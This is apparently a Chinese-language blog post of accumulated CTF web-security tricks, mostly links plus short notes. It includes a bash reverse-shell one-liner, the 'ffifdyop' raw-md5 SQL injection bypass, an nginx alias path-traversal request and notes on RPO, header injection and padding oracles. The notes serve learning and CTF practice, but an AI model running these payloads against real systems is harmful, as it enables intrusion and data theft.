web | trick 积累

Author Avatar
Aryb1n 1月 05, 2018

反弹shell

反弹到127.0.0.1:6789

/bin/bash -i >& /dev/tcp/127.0.0.1/6789 0>&1

Time Based RCE

http://icematcha.win/?p=532

python | python sandbox bypass

http://icematcha.win/?p=725
https://winter3un.github.io/2016/06/08/python%E5%91%BD%E4%BB%A4%E8%A1%8C%E6%89%A7%E8%A1%8C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4/

php | md5($pass, true)

$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";

md5()第二个参数为true(默认false)的时候, 相当于执行了一次py里的str.decode('hex')
一个广为流传的答案ffifdyop => 276f722736c95d99e921722cf9ed621c => 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
就变成了SELECT * FROM admin WHERE pass = '' or 'trash'

有一个坑点记录一下, 命令行里的echo默认是带换行的…所以
haibin@pc~$: echo ‘ffifdyop’ | md5sum 算出来的值不对…要去掉换行
haibin@pc~$: echo -n ‘ffifdyop’ | md5sum

node | Buffer(number) is unsafe

node里Buffer(number)会泄露堆上的内存
https://github.com/nodejs/node/issues/4660
https://www.smrrd.de/nodejs-hacking-challenge-writeup.html

python | python urllib header注入

传说中的CVE-2016-5699: http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html
在Redis上的利用: https://security.tencent.com/index.php/blog/msg/106

padding orcale

session ctf 2016 | biscuiti

https://www.cnblogs.com/gg1234/p/5611086.html

cookie这个domain为什么最前面有个点: http://www.ietf.org/rfc/rfc2109.txt
没有点不应该接受
实际javascript设置的时候好像如果不加点设置了, 自己查看都会看到前面有个点, 所以是浏览器迁就了我们吗QAQ

应该是xxx.abc.com 设置cookie的时候

  1. 能设置 domain = '.abc.com', 然后遇到yyy.abc.com能读到这个cookie, zzz.yyy.abc.com就读不到了, 是不是这样子, QAQ
  2. 也能设置 domain = '.xxx.abc.com', 这个时候yyy.abc.com也不能访问得到, 但mmm.xxx.abc.com可以访问得到, 是不是这样子, QAQ

另外cookie的同源策略不判断 端口 && 协议

hash长度扩展攻击

http://blog.csdn.net/syh_486_007/article/details/51228628

RPO

pwnhub | 忘了题叫啥
34c3-ctf | urlstorage
强网杯2018 | share your mind
利用条件大概有

  1. 相对路径引入的css或者js, /style.css算绝对吗…./style.cssstyle.css应该都算是相对吧
  2. 网站用了一些url_rewrite, 使得访问/index.php/static/xx.js和访问/index.php返回相同的页面, 这就使得index.php/a/b/c/..%2f..%2f..%2f的时候, 服务器会认为这个url为index.php, 而浏览器请求静态文件的时候会认为..%2f..%2f..%2f是一个文件, 雾…看了一下好像这个是叫pathinfo模式
    这里也有一篇文章 http://blog.nsfocus.net/rpo-attack/
    好像是没有<!DOCTYPE html>就到了怪异模式…

nginx配置不当导致任意文件读取

location /static {
        alias /var/www/static/;
        autoindex on;
    }

访问http://ip/static../

二次注入

sqli里的反引号

在可以用列名的时候, 使用效果可以作为注释…
http://www.yulegeyu.com/2017/04/11/%E4%B8%BA%E4%BB%80%E4%B9%88-backtick-%E8%83%BD%E5%81%9A%E6%B3%A8%E9%87%8A%E7%AC%A6/

正则

正则的.不会匹配换行…, 所以%0athis_isflag不会匹配.*this_is_flag

补题计划

~/plan-plan.md